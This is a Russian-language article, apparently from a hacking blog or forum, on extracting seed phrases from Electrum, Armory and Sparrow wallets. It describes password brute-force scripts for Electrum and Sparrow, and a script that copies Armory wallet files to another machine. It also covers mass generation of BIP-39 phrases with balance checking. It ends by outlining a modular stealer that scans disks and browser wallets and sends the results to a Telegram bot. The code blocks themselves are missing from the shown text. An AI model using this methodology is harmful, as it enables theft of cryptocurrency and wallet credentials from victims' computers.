Ну что ж, давай разберёмся, что происходит, если пользователь нашего "супербезопасного" кошелька Electrum всё-таки заморочился и поставил пароль. Сложно ли будет его сбрутить? Мой ответ — нет, хотя, честно, кое-какие заморочки всё же есть. Давай копнём, как Electrum шифрует данные, и посмотрим, что к чему, а заодно разберём, как можно подойти к расшифровке.
В Electrum, если ты ставишь пароль, файл default_wallet в папке C:\Users\<Имя_пользователя>\AppData\Roaming\Electrum\wallets\default_wallet не лежит в открытом виде, как в случае отсутствия пароля. Вместо этого seed-фраза шифруется, и тут в игру вступает AES — стандартный алгоритм шифрования. Но есть подвох: default_wallet имеет свой особый формат, и нормально работать с ним могут только встроенные методы самого Electrum. Это значит, что для брутфорса или расшифровки тебе придётся либо скриптовать прямо внутри репозитория кошелька — вот он, кстати, https://github.com/spesmilo/electrum — либо выдирать методы инициализации базы данных и переписывать их под себя. Я, если честно, не буду тут заморачиваться с полным переписыванием, это уже для самых упорных. Так вот, после инициализации этой базы из файла можно вытащить зашифрованную строку seed-фразы и версию хеширования пароля. От версии зависит, как пароль превращается в ключ для шифрования. К примеру, в версии 1 пароль кодируется через SHA-256, а точнее, через двойное применение SHA-256, чтобы получить ключ.
Теперь про сам процесс шифрования. Seed-фраза сначала кодируется в Base64 — это первый слой. Если раскодировать Base64, из первых 16 байт ты получаешь вектор инициализации, он же IV, нужный для режима AES-CBC. Остальные байты — это уже зашифрованные данные. Теперь про ключ. Пароль хешируется, и в версии. Кошелек берет пароль, прогоняют его через SHA-256, получают хеш, а потом этот хеш ещё раз прогоняют через SHA-256. Итог — 32 байта, которые и становятся ключом для шифрования. Почему двойной SHA-256? Чтобы усложнить жизнь тем, кто захочет подобрать пароль по нему.
Дальше в дело вступает AES. AES разбивает seed-фразу на блоки по 16 байт. Но перед шифрованием первого блока Electrum берёт тот самый IV, вектор инициализации, и смешивает его с первым блоком данных. Потом этот смешанный блок шифруется с помощью ключа через алгоритм AES.
Но это ещё не всё. После шифрования AES добавляет паддинг — лишние байты, чтобы последний блок данных был ровно 16 байт, как требует AES. Electrum использует стандарт PKCS#5/PKCS#7: если нужно добавить, скажем, 5 байт, каждый из них будет числом 5. Это помогает потом, при расшифровке, понять, где кончаются настоящие данные и начинается "набивка". Итог: seed-фраза, закодированная в Base64, содержит IV и зашифрованные блоки, которые без правильного ключа — просто мусор.
Если ты хочешь расшифровать, нужно всё провернуть назад. Берёшь пароль, хешируешь его через двойной SHA-256, получаешь ключ. Раскодируешь Base64-строку из default_wallet, выдираешь первые 16 байт как IV, а остальное — как зашифрованные данные. Создаёшь AES-шифр в режиме CBC с этим ключом и IV, расшифровываешь блоки, учитывая цепочку CBC, снимаешь паддинг — и, если пароль верный, получаешь seed-фразу. Неправильный пароль? Получишь белиберду или ошибку.
Инструмет для брута пароля
Мы с вами разобрались, как работают шифрование и расшифровка фразы. Давайте поговорим о практической реализации. Я написал код для получения и расшифровки пароля из default_wallet.
Для начала, чтобы написать скрипт, я изучил репозиторий https://github.com/spesmilo/electrum и решил разместить скрипт прямо в папке electrum, чтобы без проблем использовать их встроенные модули. Однако, если хотите, можете попробовать установить Electrum как библиотеку. Затем я подключил несколько Python-библиотек: hashlib для хеширования пароля через SHA-256, как того требует Electrum, Crypto.Cipher с модулем AES для расшифровки данных в режиме CBC, base64 для декодирования seed-фразы, а также electrum.storage и electrum.wallet_db из самой библиотеки Electrum для аккуратной загрузки и обработки файла кошелька.
Вот мой код:
Проверяем:
Сначала скрипт проверяет текущую директорию, чтобы найти файл passwords.txt, в котором хранятся пароли для перебора. Я заранее указал возможные пути к файлам кошелька, например, C:\Users\Administrator\AppData\Roaming\Electrum\wallets\default_wallet или testnet\wallets\default_wallet, но вы, конечно, можете заменить их на свои. Как только скрипт находит файл кошелька, он загружает его хранилище с помощью класса WalletStorage из библиотеки Electrum и приступает к перебору паролей. Для каждого пароля сначала проверяется, зашифровано ли хранилище. Если нет, то seed-фраза уже доступна в открытом виде, и дальнейшие действия не требуются. Если же хранилище зашифровано, скрипт пытается расшифровать его с использованием текущего пароля. В случае неудачи он переходит к следующему варианту без лишних задержек.
Когда подходящий пароль найден, начинается процесс извлечения seed-фразы. Скрипт ищет её в хранилище по ключам 'seed' или в разделе 'keystore'. Обычно фраза присутствует, но я предусмотрел случай, когда структура файла могла измениться, например, в старых версиях или после обновлений кошелька. В таком случае скрипт выведет сообщение и продолжит работу. Поскольку seed-фраза зашифрована, код сначала декодирует её из Base64, извлекая первые 16 байт, которые Electrum использует как вектор инициализации для AES. Затем на основе пароля генерируется ключ путём двойного хеширования SHA-256, как это реализовано в самом кошельке, в результате чего получаются 32 байта для расшифровки. Далее ключ применяется в режиме AES-CBC, данные комбинируются с вектором инициализации, удаляется паддинг по стандарту PKCS#5/PKCS#7, и, если всё прошло успешно, на выходе получается чистая seed-фраза. Как только верный пароль и фраза найдены, скрипт выводит их на экран и завершает цикл.
Интересный момент: возможно, кто-то, знакомый с темой расшифровки криптокошельков, отметил бы, что можно было бы упростить процесс, используя, например, такой код:
Это избавило бы от лишних сложностей. Однако мой код скорее служит демонстрационным примером. К тому же, думаю, такой подход упрощает задачу читателям, которые захотят сделать его более автономным и адаптировать под свои нужды.
Относительно шифрования замечу: я до сих пор не понимаю, зачем Electrum дважды хеширует пароль через SHA-256, ведь брутфорс остаётся возможным, и это хеширование, похоже, не усиливает защиту. Шифрование фразы с помощью AES выглядит достаточно надёжным, особенно с учётом режима CBC и паддинга. Однако тот факт, что без пароля seed-фраза может быть доступна в открытом виде в default_wallet, честно говоря, вызывает недоумение и немного разочаровывает.
Получение кошелька Armory
Поговорим про Armory — популярный кошелёк, заточенный исключительно под биткоины. Считается одним из ветеранов криптомира, ведь его разработка стартовала ещё в 2011 году. Но вот вопрос: при таком возрасте не устарела ли их безопасность? Давай разберёмся, что к чему, и проверим, насколько крепко Armory защищает твои монеты!
Когда создаёшь кошелёк, Armory запрашивает пароль, а seed-фраза сохраняется в файле с длинным именем, типа C:\Users<Имяпользователя>\AppData\Roaming\Armory\armory_2rjvAWGS3.wallet. Фраза, конечно, зашифрована — похоже, используется AES, но подробностей о шифровании ни в документации, ни на сайте ты не найдёшь. К счастью, исходники кошелька открыты и лежат на GitHub по адресу https://github.com/etotheipi/BitcoinArmory. Если покопаться в коде, можно выудить, как всё устроено, хотя это и не пятиминутное дело.
Пока я тестировал Armory, всплыла занятная штука. Если взять файл кошелька, например, armory_2rjvAWGS3_.wallet, и закинуть его в папку с данными Armory на другом компе, кошелёк открывается без всякого пароля. Но есть нюанс: сначала нужно вырубить все процессы Armory. Закрытие интерфейса не помогает — в системе остаются висеть процессы вроде ArmoryDB и ArmoryQt, которые надо гасить вручную или скриптом. Только после этого закидываешь файл, запускаешь Armory, и кошелёк грузится, как будто ничего и не менялось. Без пароля! Это, честно, удивило, ведь обычно кошельки просят пароль.
Ещё одна деталь: в интерфейсе Armory нет кнопки, чтобы скопировать seed-фразу и, скажем, импортировать её в другой кошелёк. Вместо этого для бэкапа дают Watch-Only Root ID и Watch-Only Root Data — штуки, которые позволяют следить за балансом и адресами, но без доступа к приватным ключам. Удобно для холодного хранения, но если хочешь просто перенести фразу в другой кошелёк — это лишняя головная боль.
В итоге я решил, что ломать голову над расшифровкой AES-зашифрованной фразы — пустая трата времени. Зачем, если можно просто скопировать файл кошелька и открыть его на другом компе без пароля? Поэтому я написал скрипт, который ищет и копирует эти файлы, и его я покажу ниже.
Инструмет для перноса кошелька
Пора рассказать про код, который я написал для работы с кошельками Armory. Решил не мелочиться и сразу написать на две функции — поиска и импорта файлов кошельков, чтобы всё было наглядно и практично. Для этого я подключил несколько Python-библиотек: os и shutil для работы с файлами, psutil для управления процессами, getpass чтобы получить имя текущего пользователя, и pathlib для удобной работы с путями.
Вот сам код:
Проверяем работу скрипта:
Как я говорил выше в самом коде две функции импорта и поиска кошельков.
Функция find_armory_wallets заглядывает в папку C:\Users\<Имяпользователя>\AppData\Roaming\Armory, где Armory обычно хранит файлы кошельков. Если папка существует, код сканирует её и ищет файлы, которые начинаются с armory и заканчиваются на .wallet — это стандартный формат файлов кошельков Armory. Найденные файлы он просто выводит в консоль, для наглядности. В примере это чисто для теста, но, если захочешь, можно доработать функцию, чтобы, например, отправлять список файлов куда-нибудь на сервер. Если папки или файлов нет, скрипт честно скажет: «Ничего не найдено», и на этом всё.
Вторая функция, import_armory_wallets, уже поинтереснее — она занимается импортом кошельков. По умолчанию она берёт файлы кошельков из той же папки, где лежит сам скрипт, но ты можешь указать любую другую папку, передав её в параметре source_folder. Сначала код ищет и вырубает все процессы, связанные с Armory. Если такой процесс найден, скрипт пытается его завершить и сообщает, получилось или нет. Затем код проверяет source_folder на наличие файлов кошельков с нужным форматом (armory_*.wallet). Если таких файлов нет, ты получишь сообщение, что копировать нечего. Если файлы есть, скрипт по очереди пробует скопировать каждый в папку Armory. Перед копированием он проверяет, не лежит ли уже такой файл в целевой папке — если лежит, код пропускает его, чтобы не перезаписывать.
Получение фразы Sparrow
Последним я разберу Sparrow. Sparrow — это кошелёк, который ориентирован на безопасность (да, да, они все так говорят, Electrum подтвердит). Он умеет в оффлайн-транзакции, дружит с аппаратными кошельками вроде Ledger, да ещё и подключается к твоему собственному Bitcoin-узлу через Tor, чтобы никто не подглядел. Звучит круто, но вот вопрос: а насколько надёжно он прячет наши драгоценные seed-фразы, или вся эта безопасность — лишь громкие слова?
Это мы и проверим. Написан наш поциент на Java и имеет открытый исходный код, доступный на GitHub по адресу https://github.com/sparrowwallet/sparrow/. Для тех, кто любит заглянуть под капот, это прям находка. Этот кошелёк хранит данные в папке C:\Users\<Имя_пользователя>\AppData\Roaming\Sparrow\wallets, используя формат mv.db. Это не просто файлик, а целая база данных H2 Database, эдакий SQL для Java.
Когда ты создаёшь кошелёк, Sparrow ненавязчиво спрашивает: «Пароль будешь ставить или как?» И тут начинается самое интересное. Если ты ленишься и говоришь: «Да ну, без пароля сойдёт», то база mv.db лежит себе в открытом виде, что делает её уязвимой.
Получение данных кошелька без пароля
В случае если ты не поставил пароль, содержимое файла можно открыть через спецпрограммы вроде H2 Database Engine, или даже просто в текстовом редакторе, например, в Блокноте. При открытии файла в текстовом виде можно найти строку, содержащую seed-фразу.
Эта строка выглядит примерно так:
В этой строке, среди технических данных, связанных с настройкой базы, содержится фраза, например как у меня: «card report marine cross bleak found famous garment skate security ceiling pledge veteran grab donkey panic raccoon duty lecture hello year twenty confirm moral». Поскольку она хранится в открытом виде, любой, кто получит доступ к файлу mv.db, может легко извлечь фразу и получить полный контроль над кошельком, включая доступ к приватным ключам и твои монеты.
Получение данных кошелька с паролем
Теперь, если ты всё-таки озаботился безопасностью и поставил пароль, Sparrow шифрует базу mv.db, и тут уже просто так в Блокноте не покопаешься. Когда ты устанавливаешь пароль в Sparrow, база данных mv.db шифруется с использованием встроенного механизма H2 Database. Он работает стандартно: Данные разбиваются на блоки по 16 байт, каждый блок смешивается с предыдущим зашифрованным блоком (или с начальным вектором инициализации для первого блока), а затем шифруется с помощью ключа, который зависит от твоего пароля. Чтобы всё это работало, H2 использует пароль пользователя, который преобразуется в криптографический ключ, но тут есть ещё один важный ингредиент — хеш.
Если ты попробуешь подключиться к зашифрованной базе mv.db, тебе понадобится строка подключения вида:
Она показывает, что данные зашифрованы по AES, и без правильного пароля в кошелек не войти. Но вот подвох: одного пароля мало, Sparrow требует ещё и хеш, чтобы сформировать ключ шифрования, и это, брат, уже интереснее.
В дело вступает Argon2, алгоритм, который в 2015 году порвал всех на конкурсе Password Hashing Competition, и, хоть я с подозрением отношусь к новым алогоритмам хеширования, этот выглядит неплохо. Sparrow берёт твой пароль и прогоняет его через Argon2id, задавая количество итераций, объём памяти и степень параллелизма, чтобы нам с вами видимо жизнь не казалась мёдом. В итоге выходит хеш фиксированной длины, который смешивается с паролем, и эта смесь превращается в 256-битный ключ для AES. Соль, которую Sparrow хранит прямо в базе, добавляет перца, чтобы одинаковые пароли давали разные ключи.
Теперь про сам процесс расшифровки. Sparrow использует этот ключ вместе с начальным вектором инициализации, который тоже спрятан в базе, чтобы запустить AES в режиме CBC. Зашифрованные блоки базы проходят через мясорубку алгоритма, каждый расшифровывается и цепляется к предыдущему, пока не вылезет чистый текст. Если всё сошлось, ты получаешь доступ к базе, а там, в таблице wallet_master, уютно лежит seed-фраза, готовая к использованию. Если пароль или хеш неверные, H2 выдаст ошибку, и данные останутся недоступными.
Инструмент для получения фразы Sparrow
Когда я решил написать скрипт для Sparrow и вытащить seed-фразу из его базы mv.db, я сразу понял, что без глубокого погружения в дебри H2 Database. Для работы с базой я выбрал клиент h2-2.3.230.jar, который можно скачать прямо с https://www.h2database.com/html/download.html — самый распространенный клиент, но вы можете переписать скрипт под свой клиент. Для полноты примера я написал скрипт, который ищет как зашифрованные кошельки, так и те, что лежат без защиты, а если база всё-таки зашифрована, начинает перебирать пароли и расшифровывать данные. Для генерации хеша подключил библиотеку argon2, которая справляется с Argon2id, а для работы с базой использовал jaydebeapi, чтобы запускать JDBC-подключение с нужным ключом.
Вот сам мой код:
Проверяем работу скрипта:
Мой скрипт стартует с того, что заглядывает в папку C:\Users\<Имя_пользователя>\AppData\Roaming\Sparrow\wallets, где Sparrow хранит свои файлы mv.db. Он пробегает по всем файлам и первым делом проверяет заголовок: если в первых ста байтах есть магическая строка H2encrypt, значит, база зашифрована, и пора готовиться к рассшифровке. Если заголовка нет, кошелёк лежит в открытом виде, и можно выдохнуть — но обычно таких подарков обычно не бывает. Когда скрипт подтверждает, что база зашифрована, он переходит к следующему шагу: вытаскивает соль, которая спрятана в файле, обычно на смещении 9 или 10 байт, и готовит её для работы. Соль — это 16 случайных байт, которые Sparrow использует для хеширования пароля, и без неё ключ не собрать.
Дальше начинается самое вкусное — генерация ключа и перебор паролей. Скрипт загружает список паролей из файла passwords.txt, который лежит рядом, и, если ты передал дополнительные пароли через аргументы командной строки, добавляет их в очередь. Для каждого пароля он вызывает Argon2id, прогоняя пароль с солью через параметры, которые я подкрутил для баланса скорости и надёжности: 10 итераций, 64 мегабайта памяти и 4 потока параллелизма. Argon2id выдаёт 32-байтовый хеш, который смешивается с паролем, и из этой смеси формируется 256-битный ключ для AES. С этим ключом скрипт строит строку подключения к базе, что-то вроде jdbc:h2:file:<путькфайлу>;CIPHER=AES, и через jaydebeapi пытается открыть базу, подсовывая пароль и ключ в шестнадцатеричном виде. Если всё подошло, он делает запрос к таблице wallet_master, получает seed-фразу и выводит её на экран. Если пароль не подошёл, jaydebeapi выдаёт ошибку, и скрипт спокойно идёт к следующему варианту, не теряя времени.
Мой скрипт лишь тестовый и при обновлении может не работать, ведь Sparrow постоянно дорабатывается, так что, если хочешь разобраться сам, загляни в исходники по ссылке https://github.com/sparrowwallet/sparrow/ или попробуй заняться реверсом файла mv.db — там, поверь, есть где развернуться.
Вывод про кошельки
На этом я заканчиваю разбор того, как извлекать seed-фразы из криптокошельков(и немного разбор безпасности самих кошельков, хаха). Кто-то, возможно, скажет, что четыре кошелька — маловато, но, честно говоря, такие известные имена, как Armory, Exodus, Electrum и Sparrow, — уже отличный пример, чтобы понять, как всё устроено. Из популярных остались, пожалуй, только Atomic, Guarda или ZelCore, но там всё довольно скучно: фразы хранятся в Local Storage, разумеется, зашифрованные, но копаться в этом не особо увлекательно. Есть, конечно, менее известные примеры, но вряд ли они вам будут интересны.
Главное — не просто копировать мой код, а самому погрузиться в тему, поковыряться в алгоритмах и разобраться, как всё работает. Я привёл достаточно наглядных примеров, разжевал шифрование — от seco до генерации хеша Argon2, — так что это, на мой взгляд, неплохая база для тех, кто хочет копнуть глубже.
Генерация и проверка баланса seed фраз
Теперь давай поговорим про генерацию seed-фраз, тут тоже есть, где развернуться! Для начала разберём, как добывать списки реальных фраз, чтобы понять, с чем имеем дело, а потом я покажу, как генерировать кошельки на их основе и проверять баланс. В качестве примеров затрону только Ethereum и Bitcoin, чтобы не растягивать статью до бесконечности.
Реалистичные seed-фразы можно генерировать, опираясь на списки слов, которые используются в стандарте BIP-39. Список слов можно скачать из репозитория: bip-0039. Это тот самый стандарт, где лежит словарь из 2048 слов, из которых и собираются фразы на 12, 18 или 24 слова.
Каждое слово в списке соответствует кусочку случайных данных, а их порядок формирует уникальный ключ. Для начала можно просто скачать этот список и использовать его, чтобы создавать правдоподобные комбинации.
Но тут есть нюанс: настоящая seed-фраза не просто набор случайных слов — в конце добавляется проверочная сумма, чтобы кошелёк мог убедиться, что фраза валидна. Так что просто мешать слова недостаточно, нужно учитывать алгоритм генерации. Давай разберём, как это сделать с помощью Python, и заодно посмотрим, как такие фразы можно применить для проверки кошельков!
Генерация самой фразы
Теперь давай разберёмся, как можно самостоятельно сгенерировать seed-фразу, по стандарту BIP-39. Конечно, для простоты можно воспользоваться готовой библиотекой mnemonic, которая делает всё за вас, подобным образом:
Но для наглядности я покажу, как сделать всё вручную, чтобы в лучше поняли процесс генерации seed-фразы. Но потом мы проверим результат с помощью той же библиотеки, чтобы убедиться, что всё работает как надо.
Вот мой код, который я написал, чтобы сгенерировать seed-фразу по стандарту BIP-39:
Проверять я буду Linux, потому что мне так удобнее, да и для генерации фраз ос не имеет значения:
Сначала скрипт позволяет выбрать, сколько слов будет в вашей фразе: 12, 18 или 24. По умолчанию стоит 12, но вы можете задать другое число, передав его через командную строку, например, python bip39_seed_generator.py 24.
Дальше функция load_bip39_wordlist открывает файл bip-0039_english.txt, который вы можете скачать по ссылке https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt. Это стандартный список из 2048 слов, используемых в BIP-39. Скрипт читает файл построчно, убирает лишние пробелы и сохраняет слова в список.
Теперь к созданию энтропии. Функция create_entropy генерирует случайные байты с помощью random.randbytes. Количество бит энтропии зависит от числа слов: для 12 слов это 128 бит, что равно 16 байтам, для 18 слов — 192 бита или 24 байта, а для 24 слов — 256 бит или 32 байта.
Самая интересная часть происходит в функции craft_mnemonic_phrase. Она берёт список слов и сгенерированную энтропию, а затем превращает её в фразу по правилам BIP-39. Сначала вычисляется контрольная сумма: энтропия хешируется через SHA-256, и из получившегося хеша берутся первые биты. Их количество зависит от длины фразы: для 12 слов — 4 бита, для 18 — 6 бит, для 24 — 8 бит. Это вычисляется как word_count // 3, потому что стандарт BIP-39 добавляет к энтропии проверочные биты, чтобы кошелёк мог проверить валидность фразы. Например, для 12 слов к 128 битам энтропии добавляются 4 бита контрольной суммы, итого 132 бита.
Дальше энтропия переводится в большое целое число, к которому слева добавляются биты контрольной суммы. Теперь у нас есть строка бит длиной, например, 132 бита для 12 слов. Эта строка разбивается на куски по 11 бит, потому что каждое слово в списке BIP-39 соответствует 11-битному индексу от 0 до 2047. Каждый кусок преобразуется в число, и по этому числу из списка слов выбирается соответствующее слово. Например, если кусок бит равен 1011 в двоичной системе, это 11 в десятичной, и скрипт возьмёт 12-е слово из списка (нумерация начинается с 0). Слова склеиваются через пробел, и вот она — ваша seed-фраза! После этого скрипт проверяет её валидность с помощью библиотеки mnemonic.
Я решил сделать генерацию seed-фраз более практичной, чтобы не просто показать, как это работает, а создать инструмент, который реально можно использовать. Так появился мой новый Python-скрипт, который не только генерирует мнемоники, но и сохраняет их в файл, а для скорости я добавил многопоточность.
Мой код:
Проверяем:
Механизм генерации фраз остался тем же, что я описывал выше, повторять это не буду, но вот что нового: я добавил возможность генерировать несколько фраз, сохранять их в seeds.txt и ускорил процесс через многопоточность, чтобы генерировать сразу кучу фраз параллельно.
Скрипт стартует с загрузки существующих фраз из seeds.txt, чтобы не плодить дубликаты. Функция load_existing_phrases читает файл и возвращает множество фраз. Затем код смотрит на входные параметры: word_count (по умолчанию 12) и num_phrases (по умолчанию 2000), которые можно задать через аргументы командной строки. Еще из нового готовую фразу функция save_mnemonic дописывает в seeds.txt, чтобы ничего не потерялось.
А теперь изюминка — многопоточность. Я использовал ThreadPoolExecutor с четырьмя потоками (число можно поменять в MAX_WORKERS), чтобы фразы генерировались параллельно.
Создание адресов из seed-фраз
Когда я рассказал, как генерировать seed-фразы, давай быстро пробежимся по созданию адресов для криптокошельков BTC и ETH.
Всё начинается с мнемоники — набора из 12 или 24 слов, который следует стандарту BIP-39. Но адрес из этого напрямую не сделаешь, поэтому фраза — лишь стартовая точка. Сначала её нужно превратить в бинарный сид, основу для всех ключей. Для этого используется функция PBKDF2, криптографический инструмент, который многократно (2048 раз!) перемешивает фразу с солью. В итоге PBKDF2 выдаёт 512-битный сид.
Теперь сид — это наш фундамент, но адреса сами по себе не появляются. Тут в игру вступает стандарт BIP-44, который задаёт путь, чтобы всё было организовано. Путь выглядит так: m / purpose' / coin_type' / account' / change / address_index.
Давай разберём, зачем это нужно для адреса. “m” — это мастер-ключ, который мы получим из сида. “Coin_type'” определяет валюту: 0 для Bitcoin, 60 для Ethereum, чтобы кошелёк знал, для чего мы генерируем адрес. “Account'” обычно 0, но позволяет разделять кошельки, например, один для сбережений, другой для трат. “Change” решает, для чего адрес: 0 для внешних, куда тебе шлют монеты, 1 для сдачи, куда возвращаются остатки после транзакций. “Address_index” — это счётчик, 0, 1, 2 и так далее, чтобы создавать кучу уникальных адресов для одной и той же фразы.
Из сида мы создаём мастер-ключ, используя HMAC-SHA512 — криптографическую функцию, которая берёт сид и “перемешивает” его с фиксированной строкой, деля результат на приватный ключ и цепочку кода. По пути BIP-44 мы шаг за шагом выводим дочерние ключи, тоже через HMAC-SHA512, пока не дойдём до нужного уровня, например, m/44'/0'/0'/0/0 для первого внешнего адреса Bitcoin.
На нужном уровне из приватного ключа, с ascended via secp256k1, выходит публичный ключ. Для Bitcoin его хешируют через SHA-256, затем RIPEMD-160, добавляют контрольную сумму и кодируют в Base58Check. Для Ethereum применяют Keccak-256, берут последние 20 байт и добавляют префикс "0x".
Инструмент для генерации адресов
Теперь я на практике покажу, как генерировать адреса для Bitcoin и Ethereum. А именно напишу код на Python для этой задачи. Можно было бы заморочиться и писать всё с нуля, но зачем, если есть отличная библиотека bip_utils, которая уже поддерживает все стандарты, вроде BIP-39 и BIP-44, и делает жизнь проще. Я решил использовать её чтобы получить адреса, и сейчас разберу, как это работает.
Вот сам код:
Проверяем:
Сначала мой код открывает файл seeds.txt, где лежат фразы, и считывает. Потом идет вызов функции bip44. Она принимает фразу, тип сети — btc или eth — и глубину пути (то есть индекс адреса), чтобы можно было генерировать несколько адресов для одного аккаунта.
Внутри функции bip44, сначала фраза превращается в бинарный сид. Затем код проверяет, что мы хотим: если сеть — btc, он создаёт контекст BIP-44 для Bitcoin, а если eth — для Ethereum, используя Bip44.FromSeed и Bip44Coins. Далее он следует стандарту BIP-44, выстраивая путь: берёт мастер-ключ, задаёт purpose' как 44', выбирает монету, аккаунт 0, внешнюю цепь и индекс адреса, который мы задали как depth.
После этого код из пути получает приватный и публичный ключи. После адреса и их приватные ключи просто выводятся.
Получение балансов адресов
Что же мы c вами разобрались, как получать адреса, самое время поговорить о том, как проверять балансы криптокошельков. Криптовалюты существуют на блокчейне — публичной базе данных, где каждая транзакция записана навсегда. Проверка баланса зависит от типа блокчейна. В случае Ethereum баланс, это просто текущее количество монет, привязанных к адресу в состоянии блокчейна. Для Bitcoin процесс чуть сложнее: нужно вычислить сумму всех непотраченных выходов транзакций, известных как UTXO, связанных с конкретным адресом.
Механизм проверки довольно прост. Берёшь адрес и вводишь его в сайт, приложение или свой код. Этот запрос отправляться к узлу блокчейна — компу который хранит все данные. Там он ищет инфу, чтобы выдать тебе. В Bitcoin узел просматривает всю историю транзакций, чтобы подсчитать сумму непотраченных UTXO, а результат приходит в satoshi — минимальной единице BTC. После этого полученное значение обычно конвертируется в более удобный формат, чтобы ты мог легко его прочитать.
Существуют сервисы, которые упрощают этот процесс. Например, Infura и Alchemy дают доступ к узлам Ethereum через API. Однако у них есть ограничение — около 100 тысяч запросов в сутки, так что для массовых проверок это может стать проблемой. Для Bitcoin похожую роль играет Blockstream.info, который тоже работает через API, но ограничивает частоту запросов примерно до 5 в секунду. Если вы не хотите тратить деньги на покупку API-ключей или сталкиваться с этими лимитами, можно пойти другим путём — развернуть собственные узлы. Правда, это требует немалых ресурсов: для Bitcoin узел займёт около 600 гигабайт на диске, а для Ethereum — примерно 800 гигабайт.
Но я, как человек, который не готов выложить 1,4 терабайта памяти чисто ради тестов для статьи, расскажу, как проверить баланс с помощью известных сайтов. Если ты хочешь самостоятельно развернуть ноду, переходи на getting-started и читай, как с помощью этого инструмента настроить ноду для Ethereum. Или, например, вот статьи про установку ноды для Bitcoin: одна на how-to-install-and-run-a-bitcoin-node-on-ubuntu-22-04, другая с официального сайта https://bitcoin.org/en/full-node. Там всё подробно объяснено, потому не бойтесь пробовать.
Инструменты дляпроверки балансов
Первым делом я написал код, чтобы проверять баланс кошелька Ethereum. Для этого я решил использовать mainnet.infura.io, о котором упоминал выше. Для взаимодействия с ним нужен infura_project_id — это идентификатор, который позволяет скрипту подключаться к блокчейну Ethereum через Infura.
Кратко расскажу, как получить ID для работы с https://infura.io.
Сначала надо создать аккаунт.
Для этого заполните параметры, вы можете использовать временную почту (к примеру, из https://tempmailo.com/), если не хотите указывать свою:
Далее на почту придет письмо, вы должны подтвердить ее, перейдя по ссылке, и заполнить данные:
Я указал, что я разработчик и это только для меня.
Далее заполните, для чего вам это нужно:
Теперь выберите план, я выбрал бесплатный:
Что ж, теперь вам надо просто перейти в раздел Infura RPC и скопировать ключ:
Вот сам код для получения балансов:
Скрипт начинает работу с получения адреса кошелька и Infura ID. Затем он формирует запрос, используя метод eth_getBalance, в который передает адрес кошелька и тег latest для получения самой актуальной информации о балансе. С помощью модуля urllib.request скрипт собирает все необходимые компоненты — URL, данные и заголовки — и отправляет запрос на сервер Infura. В ответ сервер возвращает баланс в единицах wei, которые являются минимальными единицами ETH. Далее скрипт производит конвертацию, деля полученное значение на 10 в 18-й степени, чтобы перевести его в эфир.
Потом я написал код для проверки баланса биткоин-кошелька, для чего решил использовать blockstream.info. На нем можно не получать id для работы с блокчейн, а работать с ним на прямую.
Вот сам код:
Этот скрипт работает похоже на прошлый, сначала код формирует url запрос, добавляя к базовой ссылке blockstream.info адрес кошелька и отправляет запрос. Когда сайт отвечает, скрипт читает этот ответ и превращает его в удобный вид. Потом скрипт вычисляет сумму для подтвержденных биткоинов: берет все, что пришло, и вычитает все, что ушло. То же самое он делает для неподтвержденных. Потом он складывает эти две суммы, чтобы получить общее количество в сатоши. Чтобы перевести сатоши в биткоины, код делит результат на 100 миллионов, потому что в одном биткоине 100 миллионов сатоши, и в итоге получает баланс в стандартном виде.
Для полноты картины я решил объединить генерацию seed-фраз с созданием адресов и проверкой балансов для Bitcoin и Ethereum в одном скрипте. Я использовал библиотеку bip_utils для работы с BIP-39 и BIP-44, urllib.request для запросов к API и ThreadPoolExecutor для ускорения через многопоточность.
Вот сам код:
Проверяем работает ли проверка баланса:
Скрипт начинает с того, что открывает файл seeds.txt, где лежат фразы, и загружает их в список. Затем он запускает главный движок: для каждой фразы в отдельном потоке вызывает функцию process_mnemonic, которая делает всю работу. Я ограничил число потоков четырьмя, чтобы не перегружать систему, но этого хватит для примера, да и вы можете указать больше в переменной MAX_WORKERS. Многопоточность нужна чтобы проверка балансов для разных фраз шла параллельно, а не по очереди — время-то деньги!
Внутри process_mnemonic, сначала для фразы генерируются адреса и приватные ключи для BTC и ETH через функцию derive_address_and_key. Она использует bip_utils, чтобы превратить фразу в бинарный сид через Bip39SeedGenerator, а затем по стандарту BIP-44 генерирует адреса.
Дальше скрипт в отдельных потоках запрашивает балансы: для Bitcoin через API blockstream.info, а для Ethereum через mainnet.infura.io с твоим Infura project ID. Для BTC код дёргает URL с адресом, получает JSON с данными о транзакциях, вычисляет подтверждённый и неподтверждённый баланс в сатоши и переводит его в BTC, деля на 10^8. Для ETH формируется JSON-RPC запрос с методом eth_getBalance, который отправляется на Infura. Ответ приходит в wei, в шестнадцатеричном виде, и код переводит его в ETH, деля на 10^18.
Инструмент поиска и отправки в бот seed фраз
Пришло время разобрать, как создать бота для поиска seed-фраз и отправки их в Telegram. Мой скрипт будет искать мнемонические фразы по регулярным выражениям, так же находит файлы популярных криптокошельков и передаёт всё в бот. Я не буду вываливать весь код, чтобы не перегружать статью, но объясню ключевые моменты, а полный исходник будут прикреплены к статье.
Создание бота
Прежде чем погрузиться в код, давай быстро разберём, как создать Telegram-бота. Всё начинается с BotFather — главного бота Telegram, который раздаёт ключи для новых ботов.
Открываешь чат с ним по ссылке https://t.me/BotFather и пишешь команду /start:
Дальше создаём бота:
Отправляешь /newbot, выбираешь имя, например, @SeedHunterBot, и подтверждаешь. BotFather выдаёт token — уникальный идентификатор, что-то вроде длинной строки символов. Этот token пригодится нам в коде для связи с Telegram API.
Клиент для поиска и отправки фраз
Теперь перейдём к клиенту и разберём его архитектуру, чтобы ты понял, как всё устроено и работает в связке. Мой клиент — модульный, и каждый модуль отвечает за свою задачу.
Всё работает в пяти файлах, каждый из которых делает свою часть работы:
Главный файл — main.py, главный файл, который управляет всем процессом. Он запускает поиск, принимает аргументы, определяет доступные диски, распределяет директории для сканирования, вызывает нужные функции и собирает результаты.
Далее telegram_bot.py берёт на себя взаимодействие с Telegram: он использует token и chat ID, чтобы отправлять найденные файлы с фразами в бот.
Файл get_plugin_wallet.py сосредоточен на поиске плагинов браузерных кошельков, таких как MetaMask или Enkrypt.
Теперь модуль seed_searcher.py, он отвечает за поиск мнемоник на компе с помощью регулярных выражений.
Наконец, get_wallets_file.py занимается десктопными кошельками: он ищет данные Exodus, Electrum, Armory и Sparrow в стандартных папках вроде AppData.
Модуль seed_searcher
Начну разбор инструмента с модулей поиска фраз. Первым расскажу про seed_searcher, он отвечает за поиск фраз на ПК. Большую часть его функций я взял из примера в начале статьи и доработал, чтобы искать seed-фразы на компе с большей точностью.
